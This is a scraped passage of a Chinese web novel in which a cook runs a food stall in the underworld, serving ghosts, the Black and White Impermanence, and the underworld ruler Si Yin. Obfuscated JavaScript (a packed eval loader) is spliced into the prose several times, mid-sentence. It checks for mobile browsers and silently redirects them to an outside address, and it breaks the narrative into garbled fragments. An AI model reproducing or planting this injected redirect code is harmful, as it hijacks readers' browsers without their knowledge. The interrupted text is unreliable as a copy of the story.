“老板，这还是除了地府通知之外，小白第一次给个人用户留言呢。”许芸知道她刚来地府不久，顺带解释了一下。 原来阴差也有论坛账号，可以对外发布帖子和评论。 看这架势，小白也算是个红v吧。 沈婵娟眯了眯眼，心里打起了小算盘， 许芸见她愣神，又道：“当晚这篇帖子的评论就从三百多暴涨到了两千多，今天不知道有多少鬼等着吃同款烤翅呢。” 原来是因为小白才爆火的。沈婵娟尴尬一笑。 这种事其实不用告诉她也可以。 “同款烤翅能有多少鬼？我们都是因为老板的好手艺才来排队的。”队伍中的刘娟以为她是阴差的小粉丝，呛了许芸一句，颇有些看不起他们这种跟风行为。 “对啊对啊，我们可是老板手艺的忠实追求者！” 许芸不理别鬼，眨着眼看向沈婵娟：“老板，你看还有不少和我一样的回头客等着吃烤翅，我不早点来怎么行。” 听到她们的话，沈婵娟翘了翘嘴角，心里又美起来。 还是有不少慧眼识珠的鬼的。 话虽如此，但今天来摊位前排队的鬼确实比昨日多了一半不止。 纵然沈婵娟从不需要借助网络营销，便也能凭真本事混得风生水起，但今日，粉丝的流量也让她开了眼，见识了一波扩圈的购买力。 若能合理的利用起来……她的小摊，能更上一层楼。 见沈婵娟做好了出摊准备，众鬼齐齐看着她，准备见识见识今天的新菜单。 除了烤鸡翅和冰酸梅汁，沈婵娟还准备了一大笼热腾腾的关东煮。 将新鲜的苹果块、白萝卜、裙带菜作为底料，再加大葱段和一把鲜虾米，加水熬制四十分钟，就能煮好一锅热腾腾的关东煮汤底。 而后用热水煮过预备的食材，去除多余的油分后丢入锅中慢煮。 “今天有关东煮诶，我上大学的时候经常下了晚课去吃。” 许芸朝身边的李欢齐道：“快快快！这队伍分成两列了，你去排鸡翅，我来排关东煮。” 李欢齐看她着急，连忙点点头嘱咐道：“我要一串变态辣鸡翅。” “这老板有点水平，我之前只见过一个摊卖一类东西的。” “这还不好啊？以后能吃到各种各样的美食了！” 越来越多的鬼在小摊前排起队来，鬼声鼎沸，叽叽喳喳的。 吵闹的鬼群中突然传来一声惊呼。 一个鬼指着队伍末端：“我靠，那是黑白无常吧。” 众鬼闻声看去，一黑一白两道身影站在队伍的最末。 黑衣鬼手上还拿着骇人的勾魂锁，白衣服的少年则如往常一样好脾气地笑着。 竟真是平日不食人间烟火的黑白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159178|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无常。 众鬼窃窃私语起来。 “阴差也要吃东西？” “没听说过啊？！” “肯定是被沈老板的鸡翅迷得找不着北了。” 小白看着长长的队伍，眼前一黑：“我都说了早点来吧！” 小黑双臂交叉，神情冰冷，却隐隐透露出些许懊悔。 早知道翘班来了。他们双双想到。 “小黑居然也来了！我去！还是这么帅！！！” “切，小小阴差，还不是被我人类美食拿下。”这鬼话刚说完，便见小黑冷冷地扫了他一眼。 他只好僵硬地转开视线，讷讷地闭上了嘴。 小白见状，在旁边默默地憋笑，知道这鬼说得没错。 他们当阴差当了几千年，早已无需进食。 但如今，黑白无常却心甘情愿在这小摊位上排队，等着吃一口人间美食。 他倒是不介意，但小黑这个死要面子活受罪的鬼，他面上怎么挂得住？ 见小黑也冷冷地扫他一眼，小白连忙绷着脸收起笑意。 他把小黑分配到烤鸡翅的队伍里，决定自己去看看这“关东煮”是什么东西。 已经排到的鬼拿着一盒关东煮从他身边经过，在不远处大快朵颐起来，那鬼烫得龇牙咧嘴的，却还是不时地发出满意的赞叹。 真的有这么好吃吗？他有点困惑。 就小白目前的想象来说，他暂时不觉得有什么比糖醋排骨更好吃。 * 不知排了多久，小白终于如愿排到了第一个。 “小沈，我想要一个这个、这个、这个、这个还有那个。”小白站在关东煮锅前，迫不及待地伸手指了指自己想要的东西。 因为从没吃过，所以这些食物他一个都不认识。 深深了解到自己有多无知的小白决定今晚回去恶补一下人类饮食图鉴。 沈婵娟快速将他要的东西装好，将那杯冒着热气的关东煮递给他时，不小心碰到了他的手。 她觉得很冰冷，小白却不这么觉得。 她的手带着微微的热意，温暖得像微弱时的红莲业火，却又不会灼热到将他焚烧殆尽。 他蜷了蜷手指，忍不住想：人类的温度，都这样温暖吗？ 很快小白就被鼻尖涌入的香味吸引了注意，将那点莫名的思绪丢在了脑后。 入口的萝卜被煮得软烂，轻轻一划就被分成了好几块，小白迫不及待地丢进嘴里，细细品尝起来。 那萝卜入口时极烫，轻轻一抿就迸出鲜甜的汤汁，炖得软烂的萝卜化在口中，又润又甜。 墨绿的海带也被煮得适口，带着微咸的海腥气，小白没吃过，但觉得味道很奇妙。 饱满的兰花干吸满了汁水，咬下一小块慢慢咀嚼，能隐隐尝出质朴的豆香。 不知不觉间，一碗关东煮已经见底。 最后喝一口热乎的关东煮汤，清淡却不失滋味，将小白工作了一天的怨气一扫而空，他幸福地捧着碗，嘴里哼着不成调的小曲。 而排完队的小黑飘来时，看到的就是这样一副场景。 已经把小黑抛之脑后、吃饱喝足的小白看到拎着烤鸡翅过来的小黑，僵硬地露出一个笑：“你来了。” 见小黑满脸冷漠，他连忙找补：“其实这’关东煮’味道一般。” “你是不是觉得我很好糊弄。” 小白打量着小黑的神色，发现他居然真的生气了，只好挽救道：“我明天帮你排队再买一份！” 小黑面无表情，很显然并不打算原谅他。 于是他只好苦着脸补充道：“后天也帮你？” 小黑皮笑肉不笑地看着他，转身就要走。 “大后天也帮你？” 小黑冷哼了一声，将一串蜜汁烤鸡翅丢给他。 “成交。” 8. 冰淇淋船 吴诗珂走在从鬼屋下班回家的路上，低着头刷“地府通讯”的论坛。 看完主页飘着的热帖，她觉得有些索然，想了想，还是切换到了东城的论坛。 东城的鬼数是四城里最多的，他们的论坛帖子数量更多，内容也更精彩。 【作癸份额大比拼！东城秒了！】 吴诗珂看到这标题，没忍住翻了个白眼。除了他们东城鬼，其实根本无人在意作癸份额。乡巴佬东城鬼，这也要发。 【鬼鬼们有觉得最近地府比往常热一点吗？】 【速成篇之如何一个月快速打卡地府知名景点】 【教大家怎么半年上岸阴律司】 【高度近视对着同事打招呼大喊你怎么不理我，走近后发现是黑无常。。。】 她不小心点开了一个楼主的头像，本想退出时，却被最新的一条动态吸引了视线。 图片里是一只青白的手，拿着两串烤得金黄的鸡翅，配字是：终于买到了！老板手艺超好！香得可以让我再死一遍！ 吴诗珂不可置信地看着那张图。 怎么可能？！居然有鬼能在地府做菜？！ 她不是没有尝试过烹饪，但变出来的食物，要么腐烂发臭，要么很快就散成齑粉，无一例外。 吴诗珂想了想，还是咬牙往忘川河飘去。 “摆渡还是投胎啊老板？”摆渡的白骷髅们搓着手，谄媚地看着她。 她随便挑了一艘骷髅船，抬手给掌船的白骷髅划了阴时，忍着激动道：“去东城。” 载她的白骷髅一愣，捂着胸腔：“天色已晚，您还是回去吧！若是赶不及回来的船，黄泉大人又要迁怒我们了！” 吴诗珂抬抬手，又划了些阴时给它：“走。” 那白骷髅内心暗喜，却仍然故作哭丧：“老板，这时候去东城，可不是这个价钱啊！” 吴诗珂有些恼怒。她虽知这群骷髅爱坐地起价，却没想到，它们越晚越得寸进尺。 若是晨间也就罢了，她自己飘个把小时，也就到了。可是已经这个时候…… 她忍着火狠狠拍了一把骷髅的身体，把阴时划了过去，咬牙切齿道：“够了吧？！” 那骷髅挨了她一下，不怒反笑：“老板，您坐稳咯！” 吴诗珂坐在那颠簸的小船上，满脑子都是东城那小摊上烤得诱人的鸡翅。 就算今天因为“逗留东城夜不归宿”被阴差扣走，她也得弄清楚这老板是怎么做到的。 * 沈婵娟今日没有烤鸡翅，做的是关东煮和不同口味的冰淇淋。 她本来只是打着自己吃，却意外发现冰淇淋在地府凝固得非常快，融化却十分缓慢。从晨间淡黑的天色到深夜，少说四五个小时，也只会融化一点点。 她将不同的口味摆出来时，听到有鬼惊奇道：“居然是真的啊！我还以为又是东城论坛上博眼球的。” 她胸前别着一个血红的曼珠沙华胸针，下面用银链缀着几颗宝石，每颗宝石上都写着不同字体的“西”。 胡晓闻言，翻了个白眼道：“我们才不像你们西城鬼，天天费尽心思，骗别城的鬼去你们那旅游，你不要以己度人啊。” “东城鬼你怎么说话的！我们西城的事能叫骗吗！” “你们那还不叫骗啊？！”胡晓想起自己被坑的阴时，更是怒上心头，就要和他们好好掰扯掰扯。 眼见一群鬼就要吵起来，沈婵娟不客气地用冰淇凌球勺挡在他们中间，淡淡道：“请不要在小摊前喧闹。” 胡晓瞪了那群西城鬼一眼，叉着腰转过了身。 那群西城的鬼也不屑地“哼”了一声，没再说话。 今日出餐很快，没多久就有不少鬼陆陆续续地拿着冰淇淋走到一边，不客气地大快朵颐起来。 胡晓特地回避了沈婵娟的招牌，只是根据颜色推测着大致的口味。 轮到她时，她选了喜欢的莓红色、橙色、白色和棕色。 沈婵娟将棕色口味铺在香蕉船碗的底部当作沙滩，用白色冰淇淋模拟出海浪的效果，插上几颗小椰树，再来一颗浑圆的橙色落日，在白色的海浪上映出隐隐的余晖。 胡晓没想到冰淇淋还能做到这种程度，惊讶地睁大了眼睛。 沈婵娟手下不停，将莓红色挖出两个大小不一的球，堆成了小雪人的样子，那个雪人笑眯眯的，煞是可爱。 “献丑了。”沈婵娟微笑着将勺子递给胡晓。 “怎么会。”胡晓连连摆手。 这盒冰淇淋不仅赏心悦目，吃起来也是绝佳。 莓红色里夹杂着新鲜的草莓粒，口味也和胡晓猜想的差不多，是偏酸的草莓口味，略带青涩的同时却不失甜蜜，让她想起自己十七八岁的少女时期。她回头看去，发现这个口味的名字叫做“草莓雨季”。 真是奇妙的巧合。胡晓意外地笑了笑。 橙色的味道则更加复杂，沈婵娟混合了多种热带水果，芒果、蜜柑、凤梨的口味混合的口味浑然天成，打出来的冰淇淋口感顺滑，层次丰富，几种不同的水果味道绽放在舌尖，与这个冰淇淋交相辉映，仿佛真的去到了夏季热带的海滩边，扑面而来温暖和煦的海风。 至于白色的，胡晓本以为是香草味，吃到后才发现没有这么简单：香草的味道和荔枝果肉融合得十分巧妙，既有香草牛奶的浓郁，也有荔枝的清甜爽口。最妙的是冰淇淋融化在嘴里后，感觉到的一点粗粝的咸。当你想抓住那点盐味的时，它就消散在舌尖了。 棕色初尝时是曲奇饼干混合黑巧克力的口味，吃到后面，才回味出红茶的甘味和芳香，使人欲罢不能。 胡晓满足地眯了眯眼睛，看见不远处的西城鬼们也在鬼哭狼嚎地大吃着。 “这个莓红色的特别好吃，草莓味好香啊，一吃就知道是用的新鲜草莓。” “这个白色的也好吃，最后一点点咸味真的绝了，香草荔枝太top了！！” “你说（嚼嚼嚼），这冰淇淋（嚼嚼嚼）怎么就这么好吃呢？” “这东城鬼怎么命这么好啊！我们西城啥时候能有个美食摊啊！” 胡晓听着向来夜郎自大的西城鬼这一番言论，心里别提多爽了。 死后做了东城鬼，命就是好哇！天天换着花样吃！ 她得意地继续吃冰淇淋，饶是她生前并不爱吃甜食，竟也在不知不觉中吃完了一杯。 胡晓靠在栏杆上，和煦的风卷起了她的头发。她无意间偏过头，看到络绎不绝的食客举着冰淇淋，无一不是幸福的样子，有种恍若还在人世的错觉。 似乎只要一个转身，她就走出了这忘川河、黄泉路，走到人界此时暑热未消的晚风里了。 * 队伍中间的司殷则要了另外的绿色、紫色、黄色和浅绿色。 沈婵娟以两种不同的绿色冰淇淋作为基底，营造出春水碧波的景色，而后放上一个淡紫色冰淇淋小船，船头斜插一把油纸伞，然后将黄色大理纹的冰淇淋做成月亮的形状。 她将冰淇淋船递给司殷，又看到了面中那颗熟悉的痣，特意道：“您上次多付了阴时，这次就不必了。” “你还记得我？”司殷挑了挑眉，眼里划过一丝讶异。 沈婵娟指着自己眼睛正下的位置笑了一下：“您很好认。您的痣也是。” 司殷比着她的样子点了点同样的位置，若有所思地离开了。 这里，有一颗痣吗？ * 地狱第四层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159179|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，孽镜地狱。 司殷端着冰淇淋，凑近其中一面铜镜。 铜镜里显示出来的，赫然是一张方正刚硬的国字脸，眉如一字，眼如鹰隼，是非常坚毅的长相。 他再换一面铜镜，倒映出的却是另一张脸：柔和的鹅蛋脸，细长的柳叶眉，一双美目如水，嘴角微微翘起，却分明是一张柔美的脸庞。 他微笑着地换了一面又一面镜子，平静地看着镜子里浮现出一张又一张截然不同的脸。如果沈婵娟在这里，就会发现这些镜子里的每一张脸，都和她看到的司殷不一样。 不知过了多久，他仍然弧度正好地微笑着，走到了最后一面镜子前。 镜中的脸仍然变化莫测，司殷并不恼怒的样子，只是指尖轻点光滑的镜面。 地狱内所有的镜面犹如漾开波纹的水面，轻微地战栗着。 司殷收起手指，也收起面上的微笑。 在他离开的那一瞬间，所有镜子都轰然碎裂。 他兴致缺缺地来到十七层，坐在缓慢转动的巨大石磨上扇之上，打开了那盒有点融化的冰淇淋。两种不同的绿微微混合起来，竟更像流动的湖水了。 司殷不客气地挖了一口送进嘴里。 绿色的是微微发苦的抹茶味，夹杂着细碎的柠檬皮，二者的香味和苦涩结合得很好，比起别的甜口味，这个味道显得独特，甚至格格不入。不过司殷倒很喜欢，他垂着眼挖冰淇淋，不知在想什么。 淡紫色的是简单的香芋口味，芋头打得绵密香软，口感细腻丝滑，冻得比别的口味硬一些，所以也能咬着吃。细细咀嚼，还能品尝到芋头的香。 奶黄色的冰淇淋球里混出了棕褐色的大理石纹，入口时奶味极重，司殷能尝出底下的鸡蛋味，没忍住皱了皱眉。好在很快就被更加浓烈的焦糖味冲淡了，沈婵娟烧的焦糖火候掌握得极为完美，甜中微苦，带着微微的焦香和迷人的苦涩。 浅绿色的是青瓜口味，口味清淡而凉爽，瓜果的清香扫去了所有的甜腻，简单却让人记忆犹新。 吃完了这一盒冰淇淋，他才收了面上令人毛骨悚然的微笑。司殷放松身体，自在地靠在石磨之上。 他去沈婵娟的摊位，不过是出于鬼相的职责。 黑白无常告诉他，那个仍保有“活阳气”的女鬼，身上有一股强大的能量，似乎在温养着她的灵魂。因此他伪装成食客，买了两串麻辣烤翅。 其实今日，他本不该去第二次，也便不会知道，原来有人能看见他真正的样子。 可是，自从上次鬼使神差地吃了烤翅后，他竟然，对那小摊上的美食有了期待。 这不像他，也不该是他。 司殷这个名字，代表的是堂堂鬼相，地府之王，他不该对任何东西有所期待。 司殷闭着眼，睫毛轻轻颤抖着。仿佛有一团如絮的羽毛落在他心头，使他心痒难耐。 他有血肉，有感情，遇到了好吃的东西便想要再吃，高兴的时候就想要无所顾忌地花费。 为什么，为什么唯有他不可以？ 司殷睁开眼，仿佛与无尽的虚渊对望。而那虚渊里美目盼兮的女人，是他的母亲。 没有人能给他答案。 于是司殷转过头，不再去看那个哀戚的女人。 他已经长大了，已经不再是要依偎在母亲怀里的“小鸡”了。他能够统率地府，也能够坦然地面对，自己是个千变万化的怪物的事实。 司殷唯一想告诉她的，是他从不信什么凤凰的宿命，没有人能够书写他的结局。 命运叫他变化，让他看不清自己的脸，但他从来不信，不信死局没有破解的机缘。 而如今，唯一的破绽已经在他眼前。 唤做，沈婵娟。 9. 灌汤小笼 吴诗珂跳下白骷髅摆渡的骷髅船，飞奔到百鬼集市的路上，许多拿着甜筒和冰淇淋碗的鬼与她擦肩而过。 只是当她赶到沈婵娟的小摊前时，忙活一天的老板已经在收摊了。 眼见摊主收摊要走，她连忙追上去拦道：“老板等一下！” 沈婵娟想她应该也是没排上的客人，惯性道：“今天已经收摊了，请明日再来。” 吴诗珂不好意思：“我知道！但是我是从南城摆渡过来的……南城离东城太远，而且交通也只能靠忘川河……” 沈婵娟这才注意到她胸前也有一枚胸针，不过是一箭射穿骷髅的模样，箭尾用小篆写着“南”。 她抬眼打量着沈婵娟的神色，戳了戳手指才继续说：“虽然看到你要走了，但是我看到那个冰淇淋筒里还有一点点冰淇淋，可以卖给我吗？” 沈婵娟看着她扭捏的神色，好笑道：“那几个筒里的余量已经不够卖了，你想吃明天早点来吧，明天我还在这里。” 吴诗珂着急道：“不是有好几种口味吗？合成一个球也可以。” “一个球？”沈婵娟愣了一下，没想到她这么执着。 见她动摇，吴诗珂顺势拉着她卖惨：“老板你卖给我吧，我忍着恶心看了一路忘川河的骷髅，跋山涉水来东城，就是为了吃一口你的冰淇淋——” 沈婵娟见她一脸生无可恋的样子，没忍住笑了一声。 此时众鬼也走得差不多了，沈婵娟想了想，还是变出一个蛋筒，把所有的口味混合在一起打了一个球。 “一个球就送你了，好吃下次再来。”沈婵娟笑眯眯的，用纸巾包住蛋筒底部后递给她。 这颗混合了所有口味的冰淇淋球，刚开始主要是浓郁的热带水果和草莓味，夹杂着一点淡淡的香草荔枝的香气，混合起来浓淡相宜，居然也很好吃。不过吴诗珂认为最妙的还是最后的青瓜味，混着粗粝的海盐，使一整颗浓墨重彩的冰淇淋球结束在清爽自然的口感里。 她一边吃一边飘，有一搭没一搭地和回家的沈婵娟搭起话来：“老板，你明天还出摊吗？” 沈婵娟点点头道：“自然是会来的，不过……”她顿了顿，故意卖了个关子。 被她吊着胃口的吴诗珂放下冰淇淋，好奇道：“不过什么？” 却见沈婵娟狡黠地笑了笑，不紧不慢地说：“不过明天你吃不到冰淇淋。” “啊？”吴诗珂傻了眼，自言自语似的问：“明天还有更多鬼吗？不会吧……我请假早点来也不行吗？” “倒不是这个原因，”沈婵娟见她误解，解释道：“只是明天不做冰淇淋。” “啊？！”吴诗珂震惊，她还没见过这么随心所欲的老板，菜单能随便换吗？见沈婵娟没说话，她又追问道：“只卖了一天就下架吗？为什么？” 话音刚落，身旁的沈婵娟就停住了脚步。 原来是到了一个交叉路口前，要回南城的吴诗珂便要在这里和她分别了。 沈婵娟潇洒地摆摆手：“好吃的话明天记得来哦。” “老板你还没告诉我为什么不卖冰淇淋！” 沈婵娟回过头，一字一句道：“当然是为了骗你们这些没吃到的小鬼下次再来——” 吴诗珂愣愣地看着她的背影，脸颊上晕开可疑的红晕。 沈老板好帅呀。吴诗珂脑海里只剩下这一个想法。 忘川河边的骷髅还在拼命揽客，得知吴诗珂的目的地是南城，它连价都不讲了，飞快地摆桨划船去向南城。 漆黑的夜色下，只有骷髅桨碰到忘川河里森森白骨的声音。 哒哒，哒哒。 吴诗珂给那骷髅划了不少小费，火急火燎地往城门处飞奔而去。 这几年地府戒律松了很多，但是独独不包括她们南城。 若是在东城夜不归宿，顶多被黑白无常拉去当两天苦力顶班，去奈何桥上盯投胎有没有出岔子，或者去孟婆那里熬十来锅汤。虽然不算阴时加班，但好在轻松，也方便在一线吃瓜。 但若是在南城被抓了，可是要被黄泉…… 一想到论坛上的南城传言，吴诗珂就莫名打了个冷颤。 万幸，南城的大门还敞开着，吴诗珂松了口气，却忽然想起另一桩不妙的事情。 忘记刺探老板是怎么做出美食的了！ * 沈婵娟回到家后，早早洗了澡上床躺着刷手机。 虽然地府能用的app只有“地府通讯”，但上面的鬼友们都非常活跃且乐于分享，大到合理规避作癸，小到上班见闻，什么都有得发。所以沈婵娟偶尔看看，也觉得很有意思，并不觉得生活十分枯燥。 她正浏览着一个鬼分享的地府秘闻贴，才看到猜测孟婆与小白的纠葛往事，突然弹出来一个领红包的界面。 那个红包之巨大，简直让她幻视x多多骗鬼拉好友的红包，于是沈婵娟想也不想就在右上角点了一下。然而那个红包却并没有消失，沈婵娟仔细看了看，才发现右上角根本没有“x”的符号。 这不会也要拉鬼砍一刀才能领到五十阴时的红包吧？ 沈婵娟无语，又盯着手机屏幕看了一圈，发现确实没有关闭的地方，只好不情不愿地点了“开”。 “您的阴时到账：0.1。” 沈婵娟简直要气笑了。 那个来得突然红包消失后，地府通讯的首页上突然出现了一个新贴：【鬼相发红包啦！大家抢了多少？】 所以，那个红包居然是鬼相发的？！沈婵娟点开评论。 “妈呀，一发红包就是几十万，鬼相太豪了吧。” “楼上的新来的吧？ta发红包频率高得吓鬼，几十万洒洒水啦。” “ta有钱是真给我们花啊？我将誓死追随鬼相。” 沈婵娟目瞪口呆，继续往下划。 “运气一般，抢了20阴时。” “你还运气一般？那我1阴时算什么？” “1阴时你就偷着乐吧，我0.01阴时。” 沈婵娟没想到有鬼比自己还倒霉，正咧着嘴笑呢，就看到了下一条评论。 “1000阴时。”这条回复还配了一张1000阴时的截屏图片。 “5000” 晒欧永无止境，被贴脸的沈婵娟心如死灰。 自己的失败固然痛苦，但别鬼的成功更让她揪心啊！ 她决定不再看这个令她心痛的帖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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轮到他们时，老板的小笼已经不知是第几锅。丁江冉和苏朗并肩站着，莫名想起了他们高中的时候。 那时他们也是这样并肩站在一起，在街边的梧桐树下，等两份其实她觉得味道一般的灌汤小笼，拎着早餐骑车去上课的时候，风里送来梧桐的香气。 她没忍住出了神，想着那究竟是多久以前的事。 “您的灌汤包好了。”沈婵娟温和的声音打断了她的回忆，她连忙接过来道了个谢。 蒸好的灌汤包表皮晶莹剔透，几乎能透过它看清内里饱满的肉馅和流动的汤汁。 轻轻咬破汤包的皮，先吸一大口滚烫鲜美的汤，然后再用小笼去蘸备好的香醋和姜丝。沈婵娟用的是一个分层的盒子，上层半边有足量的醋和些许切得细细的姜丝。 入口的灌汤□□薄而软，肉馅火候刚好，蒸得很嫩，配上香醋姜丝爽口，怎一个美字了得？ 丁江冉满脸惊艳地看着手中的小笼，觉得没忽悠苏朗不吃真是败笔。 这么好吃的灌汤包，她一个人就能吃四笼。 看着不远处沈婵娟忙碌的身影，丁江冉不由得想，如果高中时这个小摊开在学校附近，那得有多火爆。光是他们学校附近的学生、家长，排队都能把小店的门槛踏破。 她一边想着，一边眼疾手快地将筷子插进小笼包里。 没多久，那一份小笼就见底了。 而沈婵娟再抬头打量客人，是因为听到了熟悉的大额入账。 您的阴时到账：300阴时。 10. 百鬼梧桐 “两份小笼一共是20阴时，多的我退给您。”沈婵娟不知道他到底打的什么主意，每次来光顾，都会转比价格多得多的阴时。 一两次倒还好，若是多来几次，沈婵娟不觉得自己的记忆好到，能单独记着要用多少顿饭还清他的额外支出。 作为老实经营的本分商家，她觉得还是一次一结比较合适。 司殷微笑着听她说完，好一会才慢慢道：“20是小笼的阴时，另外的……”他顿了顿，居然沉默了一下。 沈婵娟疑惑地拧起眉，不知道他葫芦里卖的什么药。 他越是不说，沈婵娟越是觉得不对劲，借着手里装灌汤包的动作，脑补了一出暴发户食客贿赂厨子的大戏。 虽然给的真的很多，但她并不打算做私厨。囿于雇主的喜好和口味，无异于带着镣铐跳舞，这并不符合她烹饪的初衷。 她始终认为，能传递幸福的才是好菜品。而她作为一个厨师，既想自由地创作，也想尽她所能，带给更多人品尝佳肴的幸福。无论这种佳肴是街边小食，还是山珍海味，她都希望能无拘无束地去烹饪和践行。 于是沈婵娟淡淡道：“不好意思先生，我并没有成为私厨的打算，也请你不必再费心思。” 司殷皱了皱眉，不知道她在说什么。 什么私厨？什么心思？莫名其妙。 但他面上仍然微笑着，漫不经心道：“你误会了，不是你想的那样。能否……” “你能不能搞快点啊？”司殷话还没说完，见他一直霸占着前排，后面的顾客已经有所不满。 “就是就是，一个鬼一直站在前头，也不知道在干嘛。” 沈婵娟一个头两个大，难道他是想多付阴时，直接拎着三十笼灌汤包走？ 这可不行。 沈婵娟回过神：“本摊也不支持额外购买，这对排队的大家并不公平。” 闻言，司殷身后的刘明大喊起来：“对啊！这对我们不公平！” “有阴时了不起啊！我们在这排队就为了吃一口老板的小笼，你买多了我们吃啥！” “你这鬼怎么这么黑心！不允许你独占小沈美食摊！” 众鬼义愤填膺，司殷理也不理身后的喧闹，自己伸手拿走小笼后，就闪身消失了。 沈婵娟看着他消失的地方，崩溃地想：你先别走，阴时还没退啊！ 不过话说回来，这莫名其妙的男鬼到底要做什么？一声不吭就消失了，难道又要她记账吗？！ 沈婵娟心乱如麻。 可是当下容不得她细想，面对涌上来的食客，她麻利地将蒸好的小笼夹进包装盒中，趁空余的间隙娴熟地端上一锅未蒸的灌汤包开蒸。 今日她出摊早，卖得也快，收摊时天色尚浅。 得知自己排不上的食客都已经默默飘走了，沈婵娟将小笼递给最后一个顾客时，才想起来这是昨日，让她混合口味挖冰淇淋球的女生。 “今天又是我最后一个诶。”吴诗珂惊奇地说。她拆开包装，不管不顾地就夹起小笼往嘴里送。 沈婵娟收着东西，顺嘴道：“确实挺巧的。” “好烫！”吴诗珂捂着嘴惊呼道。 滚烫的汤汁在嘴里溅开，虽然被烫了一下，但她的嘴也没停，边吃边和沈婵娟搭话：“老板，这小笼好好吃，肉特别鲜。” 吴诗珂觉得单说有点贫瘠，又朝沈婵娟比了个大拇指。 见状，沈婵娟失笑道：“都是我今天现包现蒸的，当然又烫又鲜。” 吴诗珂震惊地星星眼：“哇！老板你好厉害啊！不过，每天现做会不会很累啊？都是赚阴时，感觉我在鬼屋上班比出摊容易多了。” 沈婵娟没有回答，反问她：“你今天排队累吗？” 吴诗珂想了想，诚实地说：“挺累的。但是吃到小笼之后，又觉得很值得，感觉在地府打工这么多年终于有点别的盼头了。” 闻言，沈婵娟露出一个真切的笑容，温和道：“我也一样。” “老板你也觉得有盼头？” 沈婵娟摇摇头，慢慢道：“是和你一样，觉得很值得。今天处理猪腿其实挺累的，打皮冻也很累，差点想丢下料理机不干了。” 吴诗珂没忍住笑了笑，又听沈婵娟继续说：“虽然我是个厨子，但我也会觉得每天准备食材很辛苦，出摊也站得腿酸。可是，当食客像你一样吃得津津有味的时候，我就想，辛苦一些也没什么大不了。” 吴诗珂愣了愣，半晌才呆呆道：“老板，你真是一个伟大的厨师。” 沈婵娟没想到她半晌憋出来这么一句，“扑哧”一下笑出了声：“谢谢你的评价，吃完就早点回去吧，南城离这里可不远。” 吴诗珂看着她离开的背影，心里的想法蠢蠢欲动。 不过，今天为什么又没问到怎么烹饪！失策了！ 她遗憾地摇摇头，暗暗在心里道：那只好下次再来了。 * 沈婵娟刚走出不远，就看到了坐在百鬼集市中心梧桐树下的司殷。百鬼集市灯火通明，梧桐树的阴影落在他脸上，显得他的神色晦暗不明。 百鬼集市有个别称叫“梧桐庄”，就是得名于这棵位于集市中心的梧桐。百鬼集市占地广大，俯瞰而去约呈正方形，而方型的正中心，唯有此处一点绿，这一线生机像这个集市的吉祥物，也像一种生机勃勃的庇护。 传说这梧桐不枯不败，枝繁叶茂已逾千年。 在地府这种阴森地方，连花果蔬菜都不能幸存，而这棵梧桐却仍然枝叶长青，可见它的稀奇与珍贵。因此，也有不少鬼想去沾沾它的灵气。 云寄锦就是其中一员。 她经常溜去梧桐树下，坐在树冠下的树荫里读书，有时也会买一罐集市上卖的“朝阳泉水”，洒在梧桐粗壮的树根下，当作香火向它祈福祝愿。 她问云寄锦许愿灵不灵，云寄锦说时零时不灵。 比如她祈福能被抽到免去作癸一事，就不灵。 比如她祈福上岸阴律司，也不灵。 但她曾经许过“让我莫名其妙多点阴时，要求不高，恰好够今年作癸”的愿望，就莫名灵验了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159181|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 中元前的某日，她经过地府彩票时，不知怎的冥冥有种必中的感觉，就随手刮了几张，居然真的中了个不大不小的奖。并且她刮出来的这份奖金面额，也恰好就是那年她的作癸金额。而且由于彩票收入不算在作癸计算的金额里，所以这份奖金可以用于缴纳作癸。 也就是说，她那个随口一说的愿望居然成真了。 而在此之后，大大小小的愿望也灵验过几次。 因此云寄锦还挺相信这个梧桐的力量，时不时去梧桐树下许愿。 沈婵娟听她说过好几次，早就想试试这梧桐的真假。可惜她摊位太忙，每天干活都累得半死，下班后哪怕顺路路过梧桐，也懒得多走几步再去买“朝阳泉水”祈福了。 不过今日正好，她正愁没理由去许愿，而司殷就在梧桐树下。 沈婵娟在不远处买了“朝阳泉水”，朝着树下的男鬼走过去。 司殷看见她，用眼神示意她坐下说。 沈婵娟想了想，还是坐下了，和气地说：“您给的阴时已经超过了我的定价，您把存放阴时的物品出示一下，我把多出来的部分转回去。” 闻言，司殷斜睨了她一眼，和她保持了一个不远不近的距离，好整以暇道：“我给出去就是你的，不需要你还我。” 